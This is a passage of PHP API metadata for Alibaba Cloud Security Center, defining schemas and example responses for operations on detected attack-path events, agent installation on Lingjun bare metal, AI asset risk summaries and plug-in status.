'PathNameDesc' => [ 'description' => 'Description of the path name.', 'type' => 'string', 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', ], 'PathType' => [ 'description' => 'Type of the path.', 'type' => 'string', 'example' => 'role_escalation', ], 'RiskLevel' => [ 'description' => 'Risk level.', 'type' => 'string', 'example' => 'suspicious', ], 'SrcAsset' => [ 'description' => 'Source asset.', 'type' => 'object', 'properties' => [ 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset', 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'AssetType' => [ 'description' => 'The type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '14', ], 'InstanceId' => [ 'description' => 'The ID of the cloud product asset instance.', 'type' => 'string', 'example' => 'i-25b24****', ], 'InstanceName' => [ 'description' => 'The name of the instance.', 'type' => 'string', 'example' => 'test', ], 'RegionId' => [ 'description' => 'The ID of the region where the cloud product asset instance is located.', 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Vendor' => [ 'description' => 'The vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SensitiveAssetFlag' => [ 'description' => 'Sensitive asset flag. Values:'."\n" .'- **0**: Non-sensitive asset.'."\n" .'- **1**: Sensitive asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], 'PathTypeDesc' => [ 'description' => 'Description of the path type.', 'type' => 'string', 'example' => 'Privilege Escalation by Role', ], 'PathDetailDesc' => [ 'description' => 'Detailed description of the path.', 'type' => 'string', 'example' => 'The system detects that the role that trusts another Alibaba Cloud account has administrator permissions. This can cause the system to be fully controlled. We recommend that you delete the trust relationship and review the permissions of the role.'."\n", ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"AttackPathEvent\\": {\\n \\"DstAsset\\": {\\n \\"AssetSubType\\": 2,\\n \\"AssetType\\": 3,\\n \\"InstanceId\\": \\"i-bp18ifsr1tu1dx39****\\\\n\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Vendor\\": 0,\\n \\"SensitiveAssetFlag\\": 0\\n },\\n \\"FirstTime\\": 1735956726000,\\n \\"LastTime\\": 1741832168000,\\n \\"PathEventEdgeList\\": [\\n {\\n \\"EdgeId\\": 123,\\n \\"EdgeType\\": \\"role_trust_user\\",\\n \\"ElementType\\": \\"branch\\",\\n \\"EndNodeUuid\\": \\"52d59cca9d1768bab5fe081317637990\\",\\n \\"RepairSuggestionDisplay\\": \\"The RAM role is granted the administrator permissions and trusts the user of another Alibaba Cloud account. In this case, the current Alibaba Cloud account may be fully controlled by the trusted Alibaba Cloud account. We recommend that you delete the trust relationship. If you need to trust another Alibaba Cloud account, we recommend that you split your business requirements and follow the principle of least privilege to grant permissions across accounts in a fine-grained manner. You can also use RAM.\\\\\\\\n\\\\\\\\nIf you confirm that the role does not need to trust an Alibaba Cloud account, perform the following operations: In the RAM console, click the required RAM role. On the page that appears, view the trust policy of the role. Then, edit the Service field to delete the trust relationship. If you confirm that permissions can be reduced, perform the following operations: In the RAM console, click the required RAM role. On the page that appears, view the permissions of the role. Then, find the policy that defines the administrator permissions and revoke the policy. Attach another policy to the role based on your business requirements.\\",\\n \\"StartNodeUuid\\": \\"b7e1bd42c4ca47f69020f4a27b47d2b4\\"\\n }\\n ],\\n \\"PathEventNodeList\\": [\\n {\\n \\"ElementType\\": \\"branch\\",\\n \\"NodeDetail\\": \\"{\\\\\\"assetId\\\\\\":0}\\",\\n \\"NodeName\\": \\"hypermatch_uploader\\",\\n \\"NodeType\\": \\"user\\",\\n \\"NodeUuid\\": \\"52d59cca9d1768bab5fe081317637990\\",\\n \\"SensitiveAssetFlag\\": 0,\\n \\"AiAssetFlag\\": 1\\n }\\n ],\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathNameDesc\\": \\"ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User\\",\\n \\"PathType\\": \\"role_escalation\\",\\n \\"RiskLevel\\": \\"suspicious\\",\\n \\"SrcAsset\\": {\\n \\"AssetSubType\\": 4,\\n \\"AssetType\\": 14,\\n \\"InstanceId\\": \\"i-25b24****\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Vendor\\": 0,\\n \\"SensitiveAssetFlag\\": 0\\n },\\n \\"PathTypeDesc\\": \\"Privilege Escalation by Role\\",\\n \\"PathDetailDesc\\": \\"The system detects that the role that trusts another Alibaba Cloud account has administrator permissions. This can cause the system to be fully controlled. We recommend that you delete the trust relationship and review the permissions of the role.\\\\n\\"\\n }\\n}","type":"json"}]', 'title' => 'GetAttackPathEventDetail', 'translator' => 'machine', ], 'ListAttackPathEvent' => [ 'summary' => 'Query Attack Path Events.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226489', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RiskLevelList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of risk level information.', 'type' => 'array', 'items' => [ 'description' => 'List of risk levels. Values:'."\n" ."\n" .'- **remind**: indicates a reminder level.'."\n" .'- **suspicious**: indicates a suspicious level.'."\n" .'- **serious**: indicates an urgent level.', 'type' => 'string', 'required' => false, 'example' => 'remind', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'PathNameDesc', 'in' => 'query', 'schema' => [ 'description' => 'Description of the path name.'."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path name description.', 'type' => 'string', 'required' => false, 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'Timestamp of the start time. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1666886400000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'Timestamp of the end time. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1668064495000', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'Specifies from which page of the returned results the query results should be displayed. The default value is 1, indicating that the display starts from the first page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of data entries displayed per page in a paginated query. The default value is **20**.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '200', 'example' => '20', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Sets the language type for requests and received messages, with the default being **zh**. Values:'."\n" ."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'AttackPathAssetList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'array', 'items' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.'."\n" .'> You can call [ListSupportAttackPathAsset](~~ListSupportAttackPathAsset~~) to query the vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.'."\n" ."\n" .'> You can call [ListSupportAttackPathAsset](~~ListSupportAttackPathAsset~~) to query the type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '17', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.'."\n" ."\n" .'> You can call [ListSupportAttackPathAsset](~~ListSupportAttackPathAsset~~) to query the subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], 'NodeType' => [ 'description' => 'Node type, values:'."\n" .'- **start**: start point.'."\n" .'- **end**: end point.', 'type' => 'string', 'required' => false, 'example' => 'start', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'PathType', 'in' => 'query', 'schema' => [ 'description' => 'Path type.'."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path type.', 'type' => 'string', 'required' => false, 'example' => 'role_escalation', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for the request. It can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', ], 'AttackPathEventList' => [ 'description' => 'List of attack path events.', 'type' => 'array', 'items' => [ 'description' => 'Attack path event.', 'type' => 'object', 'properties' => [ 'PathType' => [ 'description' => 'Path type.', 'type' => 'string', 'example' => 'role_escalation', ], 'PathName' => [ 'description' => 'Path name.', 'type' => 'string', 'example' => 'ecs_get_credential_by_create_login_profile', ], 'PathNameDesc' => [ 'description' => 'Description of the path name.', 'type' => 'string', 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', ], 'RiskLevel' => [ 'description' => 'Risk level.', 'type' => 'string', 'example' => 'suspicious', ], 'SrcAsset' => [ 'description' => 'Source asset.', 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'ID of the cloud product asset instance.', 'type' => 'string', 'example' => 'i-bp18ifsr1tu1dx39****', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RegionId' => [ 'description' => 'ID of the region where the cloud product asset instance is located.', 'type' => 'string', 'example' => 'cn-hangzhou', ], 'InstanceName' => [ 'description' => 'Instance name.', 'type' => 'string', 'example' => 'test', ], 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SensitiveAssetFlag' => [ 'description' => 'Sensitive asset flag. Values:'."\n" .'- **0**: Non-sensitive asset.'."\n" .'- **1**: Sensitive asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], 'LastTime' => [ 'description' => 'Timestamp of the latest discovery. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1742869699000', ], 'DstAsset' => [ 'description' => 'Destination asset.', 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'ID of the cloud product asset instance.', 'type' => 'string', 'example' => 'i-uf6a1tt9umxwoxqn****', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RegionId' => [ 'description' => 'ID of the region where the cloud product asset instance is located.', 'type' => 'string', 'example' => 'cn-hangzhou', ], 'InstanceName' => [ 'description' => 'Instance name.', 'type' => 'string', 'example' => 'test', ], 'SensitiveAssetFlag' => [ 'description' => 'Sensitive asset flag. Values:'."\n" .'- **0**: Non-sensitive asset.'."\n" .'- **1**: Sensitive asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], 'EventId' => [ 'description' => 'The ID of the alert event.', 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'PathTypeDesc' => [ 'description' => 'Description of the path type.', 'type' => 'string', 'example' => 'Privilege Escalation by Role', ], ], ], ], 'PageInfo' => [ 'description' => 'Pagination information.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number displayed in the pagination query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of data items displayed per page.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of data items.', 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'Count' => [ 'description' => 'The number of data entries displayed on the current page when performing a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"AttackPathEventList\\": [\\n {\\n \\"PathType\\": \\"role_escalation\\",\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathNameDesc\\": \\"ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User\\",\\n \\"RiskLevel\\": \\"suspicious\\",\\n \\"SrcAsset\\": {\\n \\"InstanceId\\": \\"i-bp18ifsr1tu1dx39****\\",\\n \\"AssetType\\": 0,\\n \\"AssetSubType\\": 1,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"Vendor\\": 0,\\n \\"SensitiveAssetFlag\\": 0\\n },\\n \\"LastTime\\": 1742869699000,\\n \\"DstAsset\\": {\\n \\"InstanceId\\": \\"i-uf6a1tt9umxwoxqn****\\",\\n \\"AssetType\\": 1,\\n \\"AssetSubType\\": 0,\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"SensitiveAssetFlag\\": 1\\n },\\n \\"EventId\\": 123,\\n \\"PathTypeDesc\\": \\"Privilege Escalation by Role\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 20\\n }\\n}","type":"json"}]', 'title' => 'ListAttackPathEvent', 'translator' => 'machine', ], 'GetAttackPathEventStatistics' => [ 'summary' => 'Query Attack Path Event Statistics.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226465', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'autoTest' => true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this call request, a unique identifier generated by Alibaba Cloud for the request, which can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '89AD16CC-97EE-50F3-9B12-9E28E5C8****', ], 'TotalPathRiskNum' => [ 'description' => 'Number of risk paths.', 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'SeriousPathRiskNum' => [ 'description' => 'Number of attack paths that require urgent handling.', 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'TotalAssetRiskNum' => [ 'description' => 'Number of risky assets.', 'type' => 'integer', 'format' => 'int64', 'example' => '5', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"89AD16CC-97EE-50F3-9B12-9E28E5C8****\\",\\n \\"TotalPathRiskNum\\": 10,\\n \\"SeriousPathRiskNum\\": 1,\\n \\"TotalAssetRiskNum\\": 5\\n}","type":"json"}]', 'title' => 'GetAttackPathEventStatistics', 'translator' => 'machine', ], 'InstallAegisForLingjun' => [ 'summary' => 'Install Aegis client on Lingjun bare metal.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '257541', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'autoTest' => false, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'List of unique UUIDs for Lingjun bare metal.', 'type' => 'array', 'items' => [ 'description' => 'Unique UUID for Lingjun bare metal.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) API to get the server\'s UUID.', 'type' => 'string', 'required' => false, 'example' => 'inet-8e3fbd56-122c-4011-b692-4d048076****', ], 'required' => false, 'enumValueTitles' => [], ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'Return result.', 'type' => 'object', 'properties' => [ 'InvokeTasks' => [ 'description' => 'List of installation tasks returned.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuids' => [ 'title' => '资产uuid', 'description' => 'List of unique UUIDs for Lingjun bare metal.', 'type' => 'array', 'items' => [ 'description' => 'Unique UUID for Lingjun bare metal.', 'type' => 'string', 'enumValueTitles' => [], 'example' => 'inet-8e3fbd56-122c-4011-b692-4d048076****', ], ], 'InvokeId' => [ 'title' => '灵骏机器的安装任务id', 'description' => 'Installation task ID for the Lingjun machine.', 'type' => 'string', 'example' => 't-hz05r677e6w****', ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the API call was successful. Values:'."\n" ."\n" .'- **true**: The API call was successful.'."\n" .'- **false**: The API call failed.', 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InvokeTasks\\": [\\n {\\n \\"Uuids\\": [\\n \\"inet-8e3fbd56-122c-4011-b692-4d048076****\\"\\n ],\\n \\"InvokeId\\": \\"t-hz05r677e6w****\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', 'title' => 'Install Cloud Security Center Client on Lingjun Bare Metal', 'translator' => 'machine', ], 'ListAegisForLingjunStatus' => [ 'summary' => 'Query the Aegis client installation result for Lingjun bare metal.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '257541', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'autoTest' => false, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'List of unique UUIDs for Lingjun bare metal.', 'type' => 'array', 'items' => [ 'description' => 'Unique UUID for Lingjun bare metal.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) API to get the server\'s UUID.', 'type' => 'string', 'required' => false, 'example' => 'inet-a6444920-d303-4ccf-ab87-a1d3cd49****', ], 'required' => false, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'Returned result.', 'type' => 'object', 'properties' => [ 'InvokeTasks' => [ 'description' => 'List of returned installation tasks.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'Unique UUID for Lingjun bare metal.', 'type' => 'string', 'example' => 'inet-8e3fbd56-122c-4011-b692-4d048076****'."\n", ], 'InvokeId' => [ 'title' => '灵骏机器的安装任务id', 'description' => 'Installation task ID for the Lingjun machine.', 'type' => 'string', 'example' => 't-bj05dlbzple****', ], 'Status' => [ 'description' => 'Installation status. Values:'."\n" .'- **1**: Installation successful'."\n" .'- **0**: Installation failed', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Result' => [ 'description' => 'Installation processing result. Values:'."\n" .'- success: Installation successful'."\n" .'- fail: Installation failed', 'type' => 'string', 'example' => 'success', ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the API call was successful. Values:'."\n" .'- **true**: Success'."\n" .'- **false**: Failure', 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InvokeTasks\\": [\\n {\\n \\"Uuid\\": \\"inet-8e3fbd56-122c-4011-b692-4d048076****\\\\n\\",\\n \\"InvokeId\\": \\"t-bj05dlbzple****\\",\\n \\"Status\\": 1,\\n \\"Result\\": \\"success\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', 'title' => 'Query the Aegis Client Installation Result for Lingjun Bare Metal', 'translator' => 'machine', ], 'DescribeAIAssetSummary' => [ 'summary' => 'Queries the overview of user AI assets.', 'path' => '', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', ], 'tenantRelevance' => 'tenant', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'TotalAssetCnt' => [ 'description' => 'The total number of AI assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '25', ], 'PaiInstanceCnt' => [ 'description' => 'The total number of cloud asset instances in Platform for AI (PAI).'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '17', ], 'PaiServerlessAssetCnt' => [ 'description' => 'The number of serverless assets in PAI.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'PaiContainerCnt' => [ 'description' => 'The number of container image assets in PAI.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'LingjunAssetCnt' => [ 'description' => 'The number of LINGJUN assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'EcsAssetCnt' => [ 'description' => 'The number of servers on which AI components are installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'ImageAssetCnt' => [ 'description' => 'The number of AI images.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'SnapshotAssetCnt' => [ 'description' => 'The number of AI snapshots.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'AispmRiskAssetCnt' => [ 'description' => 'The number of cloud assets with AI security posture management risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], 'VulRiskAssetCnt' => [ 'description' => 'The number of servers with AI application vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'ExposedRiskAssetCnt' => [ 'description' => 'The number of servers that have exposed AI components.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SensitiveSummary' => [ 'description' => 'The statistics on assets that have AI-related keys are stored in plaintext.'."\n", 'type' => 'object', 'properties' => [ 'TotalCnt' => [ 'description' => 'The total number of assets that have AI-related keys are stored in plaintext.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'EcsCnt' => [ 'description' => 'The number of servers that have AI-related keys are stored in plaintext detected by agentless scan.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SnapshotCnt' => [ 'description' => 'The number of snapshots that have AI-related keys are stored in plaintext detected by agentless scan.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'ImageCnt' => [ 'description' => 'The number of images that have AI-related keys are stored in plaintext detected by agentless scan.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'ContainerImageCnt' => [ 'description' => 'The number of images that have AI-related keys are stored in plaintext detected by image scan.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], 'TotalRiskCnt' => [ 'description' => 'The total number of assets with AI risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '26', ], ], ], ], ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Data\\": {\\n \\"TotalAssetCnt\\": 25,\\n \\"PaiInstanceCnt\\": 17,\\n \\"PaiServerlessAssetCnt\\": 0,\\n \\"PaiContainerCnt\\": 2,\\n \\"LingjunAssetCnt\\": 0,\\n \\"EcsAssetCnt\\": 2,\\n \\"ImageAssetCnt\\": 2,\\n \\"SnapshotAssetCnt\\": 2,\\n \\"AispmRiskAssetCnt\\": 15,\\n \\"VulRiskAssetCnt\\": 2,\\n \\"ExposedRiskAssetCnt\\": 0,\\n \\"SensitiveSummary\\": {\\n \\"TotalCnt\\": 9,\\n \\"EcsCnt\\": 1,\\n \\"SnapshotCnt\\": 4,\\n \\"ImageCnt\\": 3,\\n \\"ContainerImageCnt\\": 1\\n },\\n \\"TotalRiskCnt\\": 26\\n }\\n}","type":"json"}]', 'title' => 'DescribeAIAssetSummary', ], 'DescribePluginSummary' => [ 'summary' => 'Queries statistics on the client plug-in installation status.', 'path' => '', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'PluginName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the plug-in. Valid values:'."\n" ."\n" .'* alinet: AliNet.'."\n" .'* alisecguard: client protection.'."\n" .'* alihips: AliHips.'."\n", 'type' => 'string', 'required' => false, 'example' => 'alihips', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response.**** Valid values:'."\n" ."\n" .'* **zh** (default)'."\n" .'* **en**'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E****', ], 'Data' => [ 'description' => 'The details of the plug-in data.'."\n", 'type' => 'object', 'properties' => [ 'OnlineCnt' => [ 'description' => 'The number of hosts on which the plug-in is online.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'OfflineCnt' => [ 'description' => 'The number of hosts on which the plug-in is offline.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'FailedCnt' => [ 'description' => 'The number of hosts on which the plug-in failed to be installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'SwitchOffCnt' => [ 'description' => 'The number of hosts for which the plug-in is not enabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'TotalCnt' => [ 'description' => 'The total number of hosts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'FailedReasons' => [ 'description' => 'The causes of installation failures.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Reason' => [ 'description' => 'The cause of the installation failure.'."\n", 'type' => 'string', 'example' => 'Other', ], 'Count' => [ 'description' => 'The number of hosts on which the installation failed for this reason.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Code' => [ 'description' => 'The error code for the installation failure.'."\n", 'type' => 'string', 'example' => '-1', ], ], 'description' => '', ], ], ], ], ], ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => 